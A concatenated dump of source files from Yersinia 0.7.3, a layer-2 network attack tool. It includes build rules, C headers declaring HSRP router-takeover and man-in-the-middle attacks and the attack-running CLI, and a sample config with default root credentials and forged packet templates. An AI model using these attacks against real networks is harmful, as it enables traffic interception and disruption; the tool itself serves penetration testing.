@list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ files=`for p in $$list; do echo "$$p"; done | \ sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \ -e 's/$$/$(EXEEXT)/' `; \ test -n "$$list" || exit 0; \ echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \ cd "$(DESTDIR)$(bindir)" && rm -f $$files clean-binPROGRAMS: -test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS) yersinia$(EXEEXT): $(yersinia_OBJECTS) $(yersinia_DEPENDENCIES) $(EXTRA_yersinia_DEPENDENCIES) @rm -f yersinia$(EXEEXT) $(LINK) $(yersinia_OBJECTS) $(yersinia_LDADD) $(LIBS) mostlyclean-compile: -rm -f *.$(OBJEXT) distclean-compile: -rm -f *.tab.c .c.o: $(COMPILE) -c $< .c.obj: $(COMPILE) -c `$(CYGPATH_W) '$<'` ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: $(HEADERS) $(SOURCES) config.h.in $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) config.h.in $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am check: check-am all-am: Makefile $(PROGRAMS) config.h installdirs: for dir in "$(DESTDIR)$(bindir)"; do \ test -z "$$dir" || $(MKDIR_P) "$$dir"; \ done install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: if test -z '$(STRIP)'; then \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ install; \ else \ $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ fi mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-binPROGRAMS clean-generic mostlyclean-am distclean: distclean-am -rm -f Makefile distclean-am: clean-am distclean-compile distclean-generic \ distclean-hdr distclean-tags dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-binPROGRAMS install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-compile mostlyclean-generic pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: uninstall-binPROGRAMS .MAKE: all install-am install-strip .PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \ clean-generic ctags distclean distclean-compile \ distclean-generic distclean-hdr distclean-tags distdir dvi \ dvi-am html html-am info info-am install install-am \ install-binPROGRAMS install-data install-data-am install-dvi \ install-dvi-am install-exec install-exec-am install-html \ install-html-am install-info install-info-am install-man \ install-pdf install-pdf-am install-ps install-ps-am \ install-strip installcheck installcheck-am installdirs \ maintainer-clean maintainer-clean-generic mostlyclean \ mostlyclean-compile mostlyclean-generic pdf pdf-am ps ps-am \ tags uninstall uninstall-am uninstall-binPROGRAMS # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: yersinia-0.7.3/src/gtk-interface.h0000644000175000017500000000443212234207266014640 0ustar nknk/* gtk_interface.h * Definitions for GTK Interfaces * * $Id: gtk-interface.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GTK_INTERFACE_H__ #define __GTK_INTERFACE_H__ #include "gtk-callbacks.h" #include "gtk-support.h" GtkWidget *protocols_tree[MAX_PROTOCOLS + 1]; GtkListStore *protocols_tree_model[MAX_PROTOCOLS + 1]; GtkWidget* gtk_i_create_Main (struct gtk_s_helper *); GtkWidget* gtk_i_create_opendialog (struct gtk_s_helper *); GtkWidget* gtk_i_create_savedialog (struct gtk_s_helper *); GtkWidget* gtk_i_create_capturedialog (struct gtk_s_helper *); GtkWidget* gtk_i_create_aboutdialog (void); GtkWidget* gtk_i_create_attacksdialog (GtkWidget *, struct gtk_s_helper *, u_int8_t); GtkWidget* create_viewpacketdialog (void); GtkWidget* create_interfacesdialog (struct term_node *); GtkWidget* gtk_i_create_listattacksdialog (struct term_node *); GtkWidget* create_infodialog (void); GtkWidget* gtk_i_create_warningdialog (char *, ...); GtkWidget* gtk_i_create_extradialog (struct gtk_s_helper *); GtkWidget* gtk_i_create_add_extradialog (struct gtk_s_helper *, u_int8_t); GtkWidget* gtk_i_create_attackparamsdialog (struct gtk_s_helper *, struct attack_param *, u_int8_t); GtkWidget* create_protocol_mwindow(GtkWidget *, struct gtk_s_helper *, u_int8_t); void gtk_i_view_menu(GtkWidget *, GtkWidget *, GdkEventButton *, struct gtk_s_helper *); /* For the credits comments */ extern int8_t term_motd(void); extern char *vty_motd[]; #endif yersinia-0.7.3/src/md5-sum.h0000644000175000017500000000223112234207266013377 0ustar nknk/* md5_sum.h * Definitions for MD5 wrapper function * * $Id: md5-sum.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef _MD5_SUM_H #define _MD5_SUM_H #include "md5.h" void md5_sum(const u_int8_t *, size_t, u_char *); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/hsrp.h0000644000175000017500000002261512234207266013074 0ustar nknk/* hsrp.h * Definitions for Cisco Hot Standby Router Protocol * * $Id: hsrp.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __HSRP_H__ #define __HSRP_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define HSRP_PACKET_SIZE 20 /* Version */ #define HSRP_VERSION 0x0 /* Opcode */ #define HSRP_TYPE_HELLO 0x0 #define HSRP_TYPE_COUP 0x1 #define HSRP_TYPE_RESIGN 0x2 /* State */ #define HSRP_STATE_INITIAL 0x0 #define HSRP_STATE_LEARN 0x1 #define HSRP_STATE_LISTEN 0x2 #define HSRP_STATE_SPEAK 0x4 #define HSRP_STATE_STANDBY 0x8 #define HSRP_STATE_ACTIVE 0x10 #define HSRP_AUTHDATA_LENGTH 8 /* * HSRP header * Static header size: 20 bytes */ struct hsrp_data { u_int8_t version; /* Version of the HSRP messages */ u_int8_t opcode; /* Type of message */ u_int8_t state; /* Current state of the router */ u_int8_t hello_time; /* Period in seconds between hello messages */ u_int8_t hold_time; /* Seconds that the current hello message is valid */ u_int8_t priority; /* Priority for the election proccess */ u_int8_t group; /* Standby group */ u_int8_t reserved; /* Reserved field */ char authdata[HSRP_AUTHDATA_LENGTH]; /* Password */ u_int32_t virtual_ip; /* Virtual IP address */ /* UDP Data */ u_int16_t sport; u_int16_t dport; /* IP Data */ u_int32_t sip; u_int32_t dip; /* Ethernet Data */ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; }; /* Default values */ #define HSRP_DFL_VERSION HSRP_VERSION #define HSRP_DFL_TYPE HSRP_TYPE_HELLO #define HSRP_DFL_STATE HSRP_STATE_INITIAL #define HSRP_DFL_HELLO_TIME 3 #define HSRP_DFL_HOLD_TIME 10 #define HSRP_DFL_PRIORITY 0xFF #define HSRP_DFL_GROUP 0x00 #define HSRP_DFL_RESERVED 0x00 #define HSRP_DFL_AUTHDATA "cisco" #define HSRP_DFL_PORT 1985 static const struct tuple_type_desc hsrp_opcode[] = { { HSRP_TYPE_HELLO, "HELLO" }, { HSRP_TYPE_COUP, "COUP" }, { HSRP_TYPE_RESIGN, "RESIGN" }, { 0, NULL } }; static const struct tuple_type_desc hsrp_state[] = { { HSRP_STATE_INITIAL, "INITIAL" }, { HSRP_STATE_LEARN, "LEARN" }, { HSRP_STATE_LISTEN, "LISTEN" }, { HSRP_STATE_SPEAK, "SPEAK" }, { HSRP_STATE_STANDBY, "STANDBY" }, { HSRP_STATE_ACTIVE, "ACTIVE" }, { 0, NULL } }; static struct proto_features hsrp_features[] = { { F_UDP_PORT, HSRP_DFL_PORT }, { -1, 0 } }; #define HSRP_SMAC 0 #define HSRP_DMAC 1 #define HSRP_SIP 2 #define HSRP_DIP 3 #define HSRP_SPORT 4 #define HSRP_DPORT 5 #define HSRP_VER 6 #define HSRP_OPCODE 7 #define HSRP_STATE 8 #define HSRP_HELLO_TIME 9 #define HSRP_HOLD_TIME 10 #define HSRP_PRIORITY 11 #define HSRP_GROUP 12 #define HSRP_RESERVED 13 #define HSRP_AUTHDATA 14 #define HSRP_VIRTUALIP 15 /* Struct needed for using protocol fields within the network client */ struct commands_param hsrp_comm_params[] = { { HSRP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { HSRP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { HSRP_SIP, "ipsource", "SIP", 4, FIELD_IP, "Set source IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { HSRP_DIP, "ipdest", "DIP", 4, FIELD_IP, "Set destination IP address", " A.A.A.A IPv4 address", 15, 2, 1, NULL, NULL }, { HSRP_SPORT, "sport", "SPort", 2, FIELD_DEC, "Set UDP source port", " <0-65535> UDP source port", 5, 2, 0, NULL, NULL }, { HSRP_DPORT, "dport", "DPort", 2, FIELD_DEC, "Set UDP destination port", " <0-65535> UDP destination port", 5, 2, 0, NULL, NULL }, { HSRP_VER, "version", "Version", 1, FIELD_HEX, "Set hsrp version", " <00-FF> hot standby router version", 2, 3, 0, NULL, NULL }, { HSRP_OPCODE, "opcode", "Opcode", 1, FIELD_HEX, "Set hsrp operation code", " <00-FF> hot standby router operation code", 2, 3, 0, NULL, hsrp_opcode }, { HSRP_STATE, "state", "State", 1, FIELD_HEX, "Set hsrp state", " <00-FF> hot standby router state", 2, 3, 0, NULL, hsrp_state }, { HSRP_HELLO_TIME, "hello", "Hello", 1, FIELD_HEX, "Set hsrp hello time", " <00-FF> HSRP group", 2, 3, 0, NULL, NULL }, { HSRP_HOLD_TIME, "hold", "Hold", 1, FIELD_HEX, "Set hsrp hold time", " <00-FF> HSRP group", 2, 3, 0, NULL, NULL }, { HSRP_PRIORITY, "priority", "Priority", 1, FIELD_HEX, "Set hsrp priority version", " <00-FF> hot standby router priority", 2, 3, 0, NULL, NULL }, { HSRP_GROUP, "group", "Group", 1, FIELD_DEC, "Set hsrp group", " <0-255> HSRP group", 3, 4, 0, NULL, NULL }, { HSRP_RESERVED, "reserved", "Reserved", 1, FIELD_HEX, "Set hsrp reserved", " <00-FF> hot standby router reserved", 2, 4, 0, NULL, NULL }, { HSRP_AUTHDATA, "password", "Auth", HSRP_AUTHDATA_LENGTH, FIELD_STR, "Set hsrp auth password", " WORD Auth password", HSRP_AUTHDATA_LENGTH, 4, 1, NULL, NULL }, { HSRP_VIRTUALIP, "ipvirtual", "VIP", 4, FIELD_IP, "Set virtual IP address", " A.A.A.A IPv4 address", 15, 4, 1, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; /* true size + 1 extra element for '\0' */ struct hsrp_printable { /* HSRP and Ethernet fields*/ u_int8_t version[3]; u_int8_t opcode[3]; u_int8_t state[3]; u_int8_t hello_time[3]; u_int8_t hold_time[3]; u_int8_t priority[3]; u_int8_t group[3]; u_int8_t reserved[3]; u_int8_t authdata[9]; u_int8_t virtual_ip[16]; /* UDP Data */ u_int8_t sport[6]; u_int8_t dport[6]; /* IP Data */ u_int8_t sip[16]; u_int8_t dip[16]; /* Ethernet Data */ u_int8_t smac[18]; u_int8_t dmac[18]; }; /* Attacks */ #define HSRP_ATTACK_SEND_RAW 0 #define HSRP_ATTACK_BECOME_ACTIVE 1 #define HSRP_ATTACK_MITM_BECOME_ACTIVE 2 #define HSRP_SOURCE_IP 0 static struct attack_param hsrp_active_params[] = { { NULL, "Source IP", 4, FIELD_IP, 15, NULL }, }; void hsrp_th_send_raw(void *); void hsrp_th_send_raw_exit(struct attacks *); void hsrp_th_become_active(void *); void hsrp_th_become_active_exit(struct attacks *); static struct attack hsrp_attack[] = { { HSRP_ATTACK_SEND_RAW, "sending raw HSRP packet", NONDOS, SINGLE, hsrp_th_send_raw, NULL, 0 }, { HSRP_ATTACK_BECOME_ACTIVE, "becoming ACTIVE router", NONDOS, CONTINOUS, hsrp_th_become_active, hsrp_active_params, SIZE_ARRAY(hsrp_active_params) }, { HSRP_ATTACK_MITM_BECOME_ACTIVE, "becoming ACTIVE router (MITM)", NONDOS, CONTINOUS, hsrp_th_become_active, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void hsrp_register(void); void hsrp_send_hellos(void *); int8_t hsrp_send_packet(struct attacks *); char **hsrp_get_printable_packet(struct pcap_data *); char **hsrp_get_printable_store(struct term_node *); int8_t hsrp_learn_packet(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *, struct pcap_data *); int8_t hsrp_load_values(struct pcap_data *, void *); int8_t hsrp_init_attribs(struct term_node *); int8_t hsrp_update_field(int8_t, struct term_node *, void *); int8_t hsrp_init_comms_struct(struct term_node *); int8_t hsrp_end(struct term_node *); extern void thread_libnet_error(char *, libnet_t *); extern int8_t parser_vrfy_bridge_id(char *, u_int8_t * ); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/commands-struct.h0000644000175000017500000001724012234207266015241 0ustar nknk/* commands.h * Definitions for Cisco CLI commands structures * * $Id: commands-struct.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __COMMANDS_STRUCT_H__ #define __COMMANDS_STRUCT_H__ #define ANY_PROTO 255 #define LIST_PROTO 254 #define LIST_PARAM 253 struct commands { u_int8_t proto; /* Valid for what protocol? */ char *s; /* descr */ int8_t states[5]; /* Valid for what state? */ char *help; /* Help text */ char *params; /* Parameters */ int8_t (*command)(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); struct commands *strcom; }; int8_t command_prueba(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_cls(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_exit(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_enable(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_disable(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_run_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_cancel_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_clear_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_set_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_attacks(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_history(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_users(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_interfaces(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_version(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_stats(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_proto_params(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_proto_stats(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_proto_attacks(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); struct commands comm_cancel[]={ { ANY_PROTO, "all", { 0, 0, 0, 1, 0 }, "Cancel all attacks", "", command_cancel_proto, NULL }, { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Cancel attacks for", NULL, command_cancel_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_clear[]={ { ANY_PROTO, "all", { 0, 0, 0, 1, 0 }, "Clear all stats", "", command_clear_proto, NULL }, { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Clear stats for", NULL, command_clear_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_run[]={ { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Run attacks for", NULL, command_run_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_set_proto[]={ { LIST_PARAM, NULL, { 0, 0, 0, 1, 0 }, " ", NULL, command_set_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_set[]={ { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Set params for", NULL, NULL, comm_set_proto }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_show_proto[]={ { ANY_PROTO, "attacks", { 0, 0, 1, 1, 0 }, "Show running protocol attacks", "", command_show_proto_attacks, NULL }, { ANY_PROTO, "params", { 0, 0, 0, 1, 0 }, "Show protocol params for attacks", "", command_show_proto_params, NULL }, { ANY_PROTO, "stats", { 0, 0, 0, 1, 0 }, "Show protocol statistics", "", command_show_proto_stats, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_show[]={ { ANY_PROTO, "attacks", { 0, 0, 1, 1, 0 }, "Show running attacks", "", command_show_attacks, NULL }, { ANY_PROTO, "history", { 0, 0, 1, 1, 0 }, "Display the session command history", "", command_show_history, NULL }, { ANY_PROTO, "interfaces", { 0, 0, 1, 1, 0 }, "Interface status", "", command_show_interfaces, NULL }, { ANY_PROTO, "stats", { 0, 0, 1, 1, 0 }, "Show statistics", "", command_show_stats, NULL }, { ANY_PROTO, "users", { 0, 0, 1, 1, 0 }, "Display information about terminal lines", "", command_show_users, NULL }, { ANY_PROTO, "version", { 0, 0, 1, 1, 0 }, "System hardware and software status", "", command_show_version, NULL }, { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Show info for", NULL, NULL, comm_show_proto }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_common[]={ { ANY_PROTO, "cancel", { 0, 0, 0, 1, 0 }, "Cancel running attack", NULL, NULL, comm_cancel }, { ANY_PROTO, "clear", { 0, 0, 0, 1, 0 }, "Clear stats", NULL, NULL, comm_clear }, { ANY_PROTO, "cls", { 0, 0, 1, 1, 0 }, "Clear screen", "", command_cls, NULL }, { ANY_PROTO, "disable",{ 0, 0, 0, 1, 0 }, "Turn off privileged commands", "", command_disable, NULL }, { ANY_PROTO, "enable", { 0, 0, 1, 0, 0 }, "Go to administration level", "", command_enable, NULL }, { ANY_PROTO, "exit", { 0, 0, 1, 1, 0 }, "Exit from current level", "", command_exit, NULL }, { ANY_PROTO, "prueba", { 0, 0, 0, 1, 0 }, "Test command", "", command_prueba, NULL }, { ANY_PROTO, "run", { 0, 0, 0, 1, 0 }, "Run attack", NULL, NULL, comm_run }, { ANY_PROTO, "set", { 0, 0, 0, 1, 0 }, "Set specific params for protocols", NULL, NULL, comm_set }, { ANY_PROTO, "show", { 0, 0, 1, 1, 0 }, "Show running system information", NULL, NULL, comm_show }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0,}, NULL, NULL, NULL, NULL } }; #endif yersinia-0.7.3/src/yersinia.conf0000644000175000017500000000626612234207266014445 0ustar nknk# $Id: yersinia.conf 46 2007-05-08 09:13:30Z slay $ # # Yersinia configuration file example # # Please read the README and the man page before complaining # Global options # MAC Spoofing mac_spoofing = 1 # Active interfaces #interfaces = eth0, eth1 # Hosts allowed to connect to the network daemon # Examples: www.microsoft.com 192.168.1.0/24 10.31-128.*.13 100.200.*.* 2-20.*.*.10-11 hosts = localhost # Propaganda. It's cool, so please, don't disable it!! :-P splash = 1 # Username for the admin mode username = root # Password for the admin mode password = root # Enable password for the admin mode enable = tomac # Daemon port port = 12000 Source MAC = 06:45:8B:6B:41:56 Destination MAC = 01:00:0C:CC:CC:CC Version = 0x01 TTL = 0xB4 Checksum = 0x0000 Source MAC = 02:48:33:66:02:51 Destination MAC = FF:FF:FF:FF:FF:FF SIP = 000.000.000.000 DIP = 255.255.255.255 SPort = 00068 DPort = 00067 Op = 0x01 Htype = 0x01 HLEN = 0x06 Hops = 0x00 Xid = 0x643C9869 Secs = 0x0000 Flags = 0x8000 CI = 000.000.000.000 YI = 000.000.000.000 SI = 000.000.000.000 GI = 000.000.000.000 CH = 02:48:33:66:02:51 Source MAC = 0E:5C:49:19:32:BF Destination MAC = FF:FF:FF:FF:FF:FF VLAN = 0001 Priority = 07 CFI = 0x00 L2Proto1 = 0x0800 VLAN2 = 0002 Priority = 07 CFI = 0x00 L2Proto2 = 0x0800 Src IP = 010.000.000.001 Dst IP = 255.255.255.255 IP Prot = 0x01 Payload = YERSINIA Source MAC = 0C:58:55:62:B7:42 Destination MAC = 01:80:C2:00:00:03 Ver = 0x01 Type = 0x00 EAPCode = 0x02 EAPId = 0x00 EAPType = 0x01 EAPInfo = Andrea Amati Source MAC = 0C:7C:E8:46:D5:95 Destination MAC = 01:00:0C:CC:CC:CC Version = 0x01 Neighbor-ID = 0C7CE846D595 Status = 0x03 Type = 0xA5 Domain = Source MAC = 0A:1E:B7:41:C6:23 Destination MAC = 01:00:5E:00:00:02 SIP = 046.177.065.242 DIP = 224.000.000.002 SPort = 01985 DPort = 01985 Version = 0x00 Opcode = 0x00 State = 0x00 Hello = 0x03 Hold = 0x0A Priority = 0xFF Group = 00 Reserved = 0x00 Auth = cisco VIP = 080.126.215.171 Source MAC = 06:E1:45:75:DB:51 Destination MAC = 01:00:0C:00:00:00 Type = 0x0 User = 0x0 Len = 0x0000 SNAP = 0xAAAA03 HSA = 0x000000 VLAN = 0xBE92 BPDU = 0x0 Index = 0x0000 Res = 0x0000 Src IP = 010.000.000.001 Dst IP = 255.255.255.255 Proto = 